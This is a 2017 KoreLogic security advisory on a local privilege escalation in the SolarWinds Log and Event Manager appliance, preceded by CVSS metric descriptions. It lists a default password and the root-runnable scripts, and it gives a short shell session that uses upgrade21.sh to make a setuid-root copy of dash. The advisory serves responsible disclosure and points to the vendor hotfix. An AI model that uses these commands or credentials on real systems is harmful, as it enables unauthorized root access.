The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Solarwinds LEM 6.3.1 Sudo Script Abuse Privilege EscalationKL-001-2017-006 : Solarwinds LEM Privilege Escalation via Sudo Script Abuse
Title: Solarwinds LEM Privilege Escalation via Sudo Script Abuse
Advisory ID: KL-001-2017-006
Publication Date: 2017.04.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-006.txt
1. Vulnerability Details
Affected Vendor: Solarwinds
Affected Product: Log and Event Manager Virtual Appliance
Affected Version: v6.3.1
Platform: Embedded Linux
CWE Classification: CWE-269: Improper Privilege Management
Impact: Privileged Access
Attack vector: SSH
2. Vulnerability Description
An attacker can abuse functionality provided by a script which
may be run with root privilege in order to elevate privilege.
3. Technical Description
Should an attacker gain access to the SSH console for the
cmc user, root access to the underlying operating system can be
achieved. The default password for the cmc user is "password".
The cmc account can run certain script files with root privilege.
Listed below:
cmc ALL=(ALL) NOPASSWD:
/usr/local/contego/scripts/activate.pl,
/usr/local/contego/scripts/apply_hotfix,
/usr/local/contego/scripts/cleantemp.pl,
/usr/local/contego/scripts/contego-archive,
/usr/local/contego/scripts/contego-backup,
/usr/local/contego/scripts/contego-logbackup,
/usr/local/contego/scripts/debugdump.pl,
/usr/local/contego/scripts/disable_ipv6.sh,
/usr/local/contego/scripts/exportsyslog.pl,
/usr/local/contego/scripts/hostname.sh,
/usr/local/contego/scripts/ipchains_restore.sh,
/usr/local/contego/scripts/managerReset.pl,
/usr/local/contego/scripts/mountshare.sh,
/usr/local/contego/scripts/mountsolr.pl,
/usr/local/contego/scripts/netconfig.sh,
/usr/local/contego/scripts/opseccontrol.sh,
/usr/local/contego/scripts/rcc.pl,
/usr/local/contego/scripts/setupCert.sh,
/usr/local/contego/scripts/sim2lem.pl,
/usr/local/contego/scripts/snortcontrol.sh,
/usr/local/contego/scripts/sshcontrol.sh,
/usr/local/contego/scripts/swi_login_update.pl,
/usr/local/contego/scripts/timecontrol.sh,
/usr/local/contego/scripts/upgrade.pl,
/usr/local/contego/scripts/upgrade21.sh,
/usr/local/contego/scripts/upgrade_bootloader.sh,
/usr/local/contego/scripts/recovery.py,
/sbin/shutdown,
/usr/bin/lem/lynx-admin-ui
One script, upgrade21.sh allows the user to change ownership and
permission bits for an arbitrary file. This can be abused to
elevate privilege to root.
cmc@swi-lem:/usr/local/contego/scripts$ cp /bin/dash /tmp/koresh
cmc@swi-lem:/usr/local/contego/scripts$ sudo ./upgrade21.sh setperms /tmp/koresh root root 4755
sudo: unable to resolve host swi-lem
cmc@swi-lem:/usr/local/contego/scripts$ /tmp/koresh
# id
uid=1001(cmc) gid=1000(trigeo) euid=0(root)
groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin)
4. Mitigation and Remediation Recommendation
The vendor has released a Hotfix to remediate this
vulnerability. Hotfix and installation instructions are
available at:
https://thwack.solarwinds.com/thread/111223
5. Credit
This vulnerability was discovered by Hank Leininger and Matt
Bergin (@thatguylevel) of KoreLogic, Inc.
6. Disclosure Timeline
2017.02.16 - KoreLogic sends vulnerability report and PoC to
Solarwinds <[email protected]> using PGP key
with fingerprint
A86E 0CF6 9665 0C8C 8A7C C9BA B373 8E9F 951F 918F.
2017.02.20 - Solarwinds replies that the key is no longer in
use, requests alternate communication channel.
2017.02.22 - KoreLogic submits vulnerability report and PoC to
alternate Solarwinds contact.
2017.02.23 - Solarwinds confirms receipt of vulnerability
report.
2017.04.06 - 30 business days have elapsed since Solarwinds
acknowledged receipt of vulnerability details.
2017.04.11 - Solarwinds releases hotfix and public disclosure.
2017.04.24 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description
The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
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